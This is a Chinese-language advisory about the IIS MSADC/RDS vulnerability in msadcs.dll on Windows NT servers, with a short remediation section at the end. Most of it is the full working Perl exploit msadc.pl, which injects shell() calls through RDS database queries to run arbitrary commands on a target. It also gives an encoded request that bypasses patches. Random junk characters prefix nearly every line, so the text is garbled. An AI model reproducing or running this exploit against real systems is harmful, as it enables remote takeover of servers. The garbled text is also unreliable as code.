IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
04TV. /uA C09@ 2M' 涉及程序：
5 =\b+<pE Microsoft NT server
&~EOM :Vc9||k 描述：
FS0SGB o 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
V7<}
;Lzm :n4x}% 详细：
@nK 08Kj- 如果你没有时间读详细内容的话，就删除:
xOH@V4 z: c:\Program Files\Common Files\System\Msadc\msadcs.dll
^EZoP:x(oE 有关的安全问题就没有了。
e$Ej7_.#; 4!wfh)Z 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Wj 0( [n -q27N^A0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ym 6[~=~EK 关于利用ODBC远程漏洞的描述，请参看:
|BR&p)7) ~yV0SpL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [LK
9^/V 3yDvr*8-@ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#<:k hs6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp _'Z@ < ,L f32n O 这里不再论述。
r=;k[*;{ M*Xzr .6 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
BH^q.p_#>X L
'=3y$"], /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D
KOdqTW 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
W=drp>Uj {fWZ n ,h"M{W$ #将下面这段保存为txt文件，然后: "perl -x 文件名"
Q6 E80> 4U3T..wA #!perl
d?JVB #
1x] G/I* # MSADC/RDS 'usage' (aka exploit) script
{ .AFg/Z #
ygHNAQG~ # by rain.forest.puppy
&f$jpIyV X #
!#QD;,SE+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:Fh* 4
&Z # beta test and find errors!
LF8B5<[O H)Yv_gT use Socket; use Getopt::Std;
AyWCb
getopts("e:vd:h:XR", \%args);
g_`8K,6ln #*fB~Os: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
iPao54Z YB[P`Muj if (!defined $args{h} && !defined $args{R}) {
LS;kq', print qq~
Y) Z>Bi Usage: msadc.pl -h <host> { -d <delay> -X -v }
nZ]d[ -h <host> = host you want to scan (ip or domain)
| jlR] , -d <seconds> = delay between calls, default 1 second
"dIoIW -X = dump Index Server path table, if available
%H54^Z<y -v = verbose
`y4+OXZ^ -e = external dictionary file for step 5
C M(g4fh ~dv
C$ Or a -R will resume a command session
I aW8 ?AR6+`0 ~; exit;}
4&tY5m > )<+Z,6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
X@B+{IFC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=6>mlI>i if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*ood3M[M^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vg<_U&N=-r $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
qzq>C"z\Y$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
u >x2 R]dc(D if (!defined $args{R}){ $ret = &has_msadc;
3.soCyxmc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s f%=q$z LGK}oL' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
xZ .:H&0G . "cmd /c ";
zk?lN s $in=<STDIN>; chomp $in;
Fik*7!XQ8 $command="cmd /c " . $in ;
;kdJxxUox b8O:@j2 if (defined $args{R}) {&load; exit;}
JAY om%A" +K&z e:-Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]RV6( |U4_ &try_btcustmr;
3=` UX K}6}Opr,Tt print "\nStep 2: Trying to make our own DSN...";
_uDtRoI8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
x\)-4w<P kj>XKZL10 print "\nStep 3: Trying known DSNs...";
?P}7AF
A(W &known_dsn;
Q16RDQ* lgU7jn print "\nStep 4: Trying known .mdbs...";
H }A67J9x &known_mdb;
Oa{M9d,l 'EXp[* if (defined $args{e}){
I\": L print "\nStep 5: Trying dictionary of DSN names...";
\;4RD$J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
RP6QS )| q0Fy$e]u print "Sorry Charley...maybe next time?\n";
t1xX B^.M{ exit;
Fm: Ri$iT P'zA=Rd&~> ##############################################################################
97Whn* iYFM@ta sub sendraw { # ripped and modded from whisker
VPK)HzPG, sleep($delay); # it's a DoS on the server! At least on mine...
*T 6<'a my ($pstr)=@_;
vAX %i( 4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@A
g=2\9 die("Socket problems\n");
/|Zk$q.\ if(connect(S,pack "SnA4x8",2,80,$target)){
H`kfI"u8 select(S); $|=1;
&}6=V+J; print $pstr; my @in=<S>;
;vuok] @ select(STDOUT); close(S);
I6\ l 6 o return @in;
6*CvRb& } else { die("Can't connect...\n"); }}
s3 o K[:/ (T,ST3{*k ##############################################################################
znD0&CS9q lBl`R|Gt sub make_header { # make the HTTP request
eR?`o !@y my $msadc=<<EOT
k: D<Q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
po!0j+ r3 User-Agent: ACTIVEDATA
L\!Pa+Iod Host: $ip
OF!(B J L Content-Length: $clen
[i\K#O +f Connection: Keep-Alive
2wik k]Z K-sJnQ23' ADCClientVersion:01.06
g \d|/HV K Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ge*f<#|0U-
u`7\o~$ --!ADM!ROX!YOUR!WORLD!
(FP -
K Content-Type: application/x-varg
!M\8k$#"n Content-Length: $reqlen
XNsMXeO]& p%8y!^g EOT
/ F9BbG{ ; $msadc=~s/\n/\r\n/g;
*IfLoKS' return $msadc;}
] vQ n*T"^ kk&
([ xqU ##############################################################################
("ql//SL \v sf Y sub make_req { # make the RDS request
"p0e6Z= my ($switch, $p1, $p2)=@_;
R FWJ ZN" my $req=""; my $t1, $t2, $query, $dsn;
#Mrof9 L `3x0u2 if ($switch==1){ # this is the btcustmr.mdb query
b@ "#A8M $query="Select * from Customers where City=" . make_shell();
1)w^.8f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`| +!H.3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uL`_Sdjw k,OP*M elsif ($switch==2){ # this is general make table query
V& _ $query="create table AZZ (B int, C varchar(10))";
v:|_!+g: $dsn="$p1";}
)$XcO] PS**d$ S elsif ($switch==3){ # this is general exploit table query
[<rV
"g $query="select * from AZZ where C=" . make_shell();
CN+[|Mz*p $dsn="$p1";}
/c6:B5G ^|gD;OED7O elsif ($switch==4){ # attempt to hork file info from index server
Sjv_% C $ $query="select path from scope()";
M*$# j| $dsn="Provider=MSIDXS;";}
tP^2NTs%] Z0 @P1 elsif ($switch==5){ # bad query
S8 .1%sw $query="select";
yp9vgUs $dsn="$p1";}
=~15q=XY0 '9.L5*wh] $t1= make_unicode($query);
!W^P|:Qt $t2= make_unicode($dsn);
~x4] ^XS $req = "\x02\x00\x03\x00";
,=jwQG4wq $req.= "\x08\x00" . pack ("S1", length($t1));
bdbTK8- $req.= "\x00\x00" . $t1 ;
t}w<xe $req.= "\x08\x00" . pack ("S1", length($t2));
b9X "p*'p $req.= "\x00\x00" . $t2 ;
b8@?fC+tm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gw O]U=Y return $req;}
n|q $=jE clyZD`* ##############################################################################
_<}oBh n.F^9j+V sub make_shell { # this makes the shell() statement
K+|G9 return "'|shell(\"$command\")|'";}
lsq\CavbM N z 1u:D] ##############################################################################
wN Mf- ~ Qa>t$`o` sub make_unicode { # quick little function to convert to unicode
21_sg f? my ($in)=@_; my $out;
[&eG>zF" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P OB6#x return $out;}
Klrd|;C YMXhzqj ##############################################################################
@^R6}qJ NAg m?d sub rdo_success { # checks for RDO return success (this is kludge)
=e*S h0dK my (@in) = @_; my $base=content_start(@in);
hX4 V}kj if($in[$base]=~/multipart\/mixed/){
E7 mB=bt>= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ON [F return 0;}
`cgyiJ sYa;vg4[ ##############################################################################
<Ukeq0 Smg z} sub make_dsn { # this makes a DSN for us
[SJ3FZ< my @drives=("c","d","e","f");
#7v=#Jco print "\nMaking DSN: ";
Q v1<)&Ft< foreach $drive (@drives) {
pm` f? Py print "$drive: ";
oDW)2*8yF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
SJ*qgI?}T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\l-JU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;T hn C>U $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B5v5D[ o5 return 0 if $2 eq "404"; # not found/doesn't exist
@5} (Y( @ if($2 eq "200") {
rUn1*KWbE foreach $line (@results) {
$-AG $1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^J~5k,7jX } return 0;}
L+ K,Y:D!W Tji* \<? ##############################################################################
,B 2p\ 'u}OeS"f sub verify_exists {
ze"`5z26| my ($page)=@_;
R/EpfYOX my @results=sendraw("GET $page HTTP/1.0\n\n");
zoibinm}Eg return $results[0];}
\$+#7( K J O-FnoQK ##############################################################################
aO &!Y\=@ #kQ1, P6,( sub try_btcustmr {
#u"$\[ G my @drives=("c","d","e","f");
'+&!;Jj, my @dirs=("winnt","winnt35","winnt351","win","windows");
}y>/#]X T deHs{| foreach $dir (@dirs) {
O%s7 }bR3 print "$dir -> "; # fun status so you can see progress
N1fPutl$a foreach $drive (@drives) {
&0x; 60b print "$drive: "; # ditto
0JE*| CtK $reqlen=length( make_req(1,$drive,$dir) ) - 28;
y/Ui6D $reqlenlen=length( "$reqlen" );
AB+HyZ*// $clen= 206 + $reqlenlen + $reqlen;
s{uSU1lQn :d1Kq _\K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
lk4U/: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^]k=*>{
R else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
VXPs YR& P" aw--f( ##############################################################################
D4jZh+_|S lw`$(, sub odbc_error {
m^$KDrkD my (@in)=@_; my $base;
K |^OnM my $base = content_start(@in);
p'4ZcCW?f if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|-9##0H $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9}T(m(WQVu $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}xJ!0<B s $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@{@DGc return $in[$base+4].$in[$base+5].$in[$base+6];}
~Dbu;cqR@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
RPw1i* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\2 Yo*jE} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
a|-B# S V~7Oa2'#B ##############################################################################
wBCBZs$H g?rK&UTU sub verbose {
Ri/D>[ my ($in)=@_;
,l#f6H7p
return if !$verbose;
k r5'E# print STDOUT "\n$in\n";}
Wgm{
]9Q QfV:&b` ##############################################################################
%Vb~}sT: zP>=K sub save {
nNhb,J my ($p1, $p2, $p3, $p4)=@_;
DD'RSV5] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
G&q@B`I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:gM_v?sy close OUT;}
ts &sr
9w<k1j ##############################################################################
~pw%p77)
^Sc48iDc sub load {
OzV|z/R2' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r!c7{6N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GrA}T` ] @p=<IN>; close(IN);
xJ^ pqb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%'MR;hQsd8 $target= inet_aton($ip) || die("inet_aton problems");
.*Axr\x3 print "Resuming to $ip ...";
wKE}BO > $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W]5sqtF;6 if($p[1]==1) {
[Qn=y/._r $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$-uMWJ)l $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
;y.<I& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7Ga'FT .F if (rdo_success(@results)){print "Success!\n";}
rsD?
;XzH else { print "failed\n"; verbose(odbc_error(@results));}}
JqK-vvI elsif ($p[1]==3){
}g"K\x:Z if(run_query("$p[3]")){
T^@P.zX print "Success!\n";} else { print "failed\n"; }}
`aL4YH-v elsif ($p[1]==4){
iza.' Mm~ if(run_query($drvst . "$p[3]")){
FT h/1"a print "Success!\n"; } else { print "failed\n"; }}
Vr KFpFd exit;}
YR.f`-<Z Mb+CtI_' ##############################################################################
]Z>zf]< :@,UPc -+ sub create_table {
2 W Wr./q my ($in)=@_;
)QB9zl: $reqlen=length( make_req(2,$in,"") ) - 28;
ogJ> `0 +J $reqlenlen=length( "$reqlen" );
A}CpyRVCn $clen= 206 + $reqlenlen + $reqlen;
U=N]XwjVK< my @results=sendraw(make_header() . make_req(2,$in,""));
sDS0cc6e return 1 if rdo_success(@results);
4EFP*7X my $temp= odbc_error(@results); verbose($temp);
O7xBMqMf return 1 if $temp=~/Table 'AZZ' already exists/;
xL|4'8 return 0;}
"uU[I,h q;<Q- jr&O ##############################################################################
~2}^
-, 2(>=@q.1H sub known_dsn {
eB5<N?;s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
tVHQ$jJY% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
zf A"xD "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
IWnyqt(k "banner", "banners", "ads", "ADCDemo", "ADCTest");
+||[H)qym J
S ms
\ foreach $dSn (@dsns) {
2K St4oa print ".";
s/OXZ<C| next if (!is_access("DSN=$dSn"));
u`wT_?%w if(create_table("DSN=$dSn")){
C44*qiG. print "$dSn successful\n";
^ = R SoR if(run_query("DSN=$dSn")){
7J$ Yd976 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
' ?b.t2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
8zH/ a
UpqDGd7M ##############################################################################
{ud^+I& 2"B3Q:0he| sub is_access {
?v Z5 ^k my ($in)=@_;
n$jf($* $reqlen=length( make_req(5,$in,"") ) - 28;
V2*m/JyeB $reqlenlen=length( "$reqlen" );
5YgUk[J $clen= 206 + $reqlenlen + $reqlen;
0u8(*? my @results=sendraw(make_header() . make_req(5,$in,""));
]|4mD3 O my $temp= odbc_error(@results);
6N'HXL UlQ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}9>X M return 0;}
&>z}u&oF Bk8 '*O/) ##############################################################################
;/ao3Q C lzz!v sub run_query {
UE/N-K)` my ($in)=@_;
%M;{+90p>t $reqlen=length( make_req(3,$in,"") ) - 28;
0 = - D $reqlenlen=length( "$reqlen" );
g# <M/qn $clen= 206 + $reqlenlen + $reqlen;
dWhF[q" my @results=sendraw(make_header() . make_req(3,$in,""));
0:k ~ lz return 1 if rdo_success(@results);
*,p16"Q; my $temp= odbc_error(@results); verbose($temp);
8A|i$#.& return 0;}
Mta;6< ]@7]mu:oL ##############################################################################
jY5BVTWnV \ / 6 m sub known_mdb {
Ia>> b #h my @drives=("c","d","e","f","g");
me/ae{ my @dirs=("winnt","winnt35","winnt351","win","windows");
P7 p' j my $dir, $drive, $mdb;
oxL4* bqZ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e 3 {L%rQE _Rnq5y # this is sparse, because I don't know of many
Ab f=b<bu my @sysmdbs=( "\\catroot\\icatalog.mdb",
a3oSSkT "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
m&Lc." "\\system32\\certmdb.mdb",
kn|z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
c}g:vh X5eTj my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}lt]]094, "\\cfusion\\cfapps\\forums\\forums_.mdb",
N3g?gb"Ex) "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
QTjOLK$e$ "\\cfusion\\cfapps\\security\\realm_.mdb",
Dw C8?s*2H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E b=;D1)y] "\\cfusion\\database\\cfexamples.mdb",
\ l8$1p "\\cfusion\\database\\cfsnippets.mdb",
d<l-Ldle "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,JmA e6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y4dTv<=K@i "\\cfusion\\brighttiger\\database\\cleam.mdb",
cP MUu9du "\\cfusion\\database\\smpolicy.mdb",
UT7".1H "\\cfusion\\database\cypress.mdb",
&t w
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=rDIU&0Y "\\website\\cgi-win\\dbsample.mdb",
7<VfE`Q3 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~+Da`Wp "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
wuTCdBu6hU ); #these are just
i iZK^/P$ foreach $drive (@drives) {
Q{Ls r, foreach $dir (@dirs){
IRQ3> 4hI foreach $mdb (@sysmdbs) {
u3H2\ < print ".";
`?L-{VtM3* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VClw!bm print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
` ;R|SyrX if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-/ #tQ~{gs print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<ArP_!
`3 } else { print "Something's borked. Use verbose next time\n"; }}}}}
kV Z5>D$ ywV8s|o foreach $drive (@drives) {
c/57_fOK foreach $mdb (@mdbs) {
20f):A6 print ".";
R4|<Vp<U2 if(create_table($drv . $drive . $dir . $mdb)){
Cz_chK4 print "\n" . $drive . $dir . $mdb . " successful\n";
<ST#<
$% if(run_query($drv . $drive . $dir . $mdb)){
{G%!M+n< print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
fE/8;v!= } else { print "Something's borked. Use verbose next time\n"; }}}}
-j_J 1P0, }
8}W06k>)% :1wMGk ##############################################################################
?y{C"w!
N{G+|WmQ sub hork_idx {
UI:{*N**Z print "\nAttempting to dump Index Server tables...\n";
eM vb*X6 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Z qg(\ $reqlen=length( make_req(4,"","") ) - 28;
<`q|6XWL $reqlenlen=length( "$reqlen" );
_k@{>
?(a $clen= 206 + $reqlenlen + $reqlen;
Q( KLx ) my @results=sendraw2(make_header() . make_req(4,"",""));
0fP qO2 if (rdo_success(@results)){
%?E OD=e = my $max=@results; my $c; my %d;
*<! W k\ for($c=19; $c<$max; $c++){
:*!u\lV \ $results[$c]=~s/\x00//g;
Y2Y2>^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
E#FyL>:.h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
?s5zTT0U>$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y6o^ Knl $d{"$1$2"}="";}
l% A~3 foreach $c (keys %d){ print "$c\n"; }
}x1mpPND } else {print "Index server doesn't seem to be installed.\n"; }}
%zyM WC MNiu5-g5 ##############################################################################
0\jOg 6Bp{FOj:Ss sub dsn_dict {
v|Tg % open(IN, "<$args{e}") || die("Can't open external dictionary\n");
UG>OL2m>5 while(<IN>){
|Tz4 xTK $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q $`:/ ehw next if (!is_access("DSN=$dSn"));
LxVd7r VY6 if(create_table("DSN=$dSn")){
@:xO5L}Io print "$dSn successful\n";
d/(=q if(run_query("DSN=$dSn")){
zHB{I(q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
WL}6YSC print "Something's borked. Use verbose next time\n";}}}
=D4EPfQn1 print "\n"; close(IN);}
LZ G^\c$ v-) eT ##############################################################################
]T(O;y*m Rhx7eU#& sub sendraw2 { # ripped and modded from whisker
9,'5~+7 sleep($delay); # it's a DoS on the server! At least on mine...
*<U&DOYV: my ($pstr)=@_;
EBM\p+x& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@U:T}5)wc die("Socket problems\n");
ZZE if(connect(S,pack "SnA4x8",2,80,$target)){
q'2P G@ print "Connected. Getting data";
ooIMN = open(OUT,">raw.out"); my @in;
>UJ&noUD#: select(S); $|=1; print $pstr;
),\>'{~5& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
`z)!!y close(OUT); select(STDOUT); close(S); return @in;
ojVpw4y. } else { die("Can't connect...\n"); }}
M Zw%s(lv G"TPu _g ##############################################################################
_u;^w}0 #fGb M!3p sub content_start { # this will take in the server headers
9rao&\eH my (@in)=@_; my $c;
_ |TE )h for ($c=1;$c<500;$c++) {
n/@/yJ<EFi if($in[$c] =~/^\x0d\x0a/){
i? AZ| Ha[ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Lx?bO`=qg7 else { return $c+1; }}}
L238 l return -1;} # it should never get here actually
54J<ZXCs
].dTEzL9X ##############################################################################
y=vH8D]%X e^Xij Id. sub funky {
AD? DIE(v my (@in)=@_; my $error=odbc_error(@in);
q 8=u.T if($error=~/ADO could not find the specified provider/){
bOck^1Hk y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kM3BP&
3m1 exit;}
MmWJYF= if($error=~/A Handler is required/){
YF>t {| print "\nServer has custom handler filters (they most likely are patched)\n";
yekIw exit;}
I I>2\d|
if($error=~/specified Handler has denied Access/){
sjTsaM;< print "\nServer has custom handler filters (they most likely are patched)\n";
$xu ?zd" exit;}}
;wQWt_OtuJ % C
3jxt ##############################################################################
: GK{ JP U-FA^ c; sub has_msadc {
6@Xutc iK my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pXFNK " jm my $base=content_start(@results);
kw-/h+lG return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Rc6
)v return 0;}
B E"nyTQ jq0tMTb%L ########################
0"2 [I 5h:SH]tn8] ^ 2kWD8c* 解决方案：
iQ9#gPk_9 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
U[A*A^$c} 2、移除web 目录: /msadc
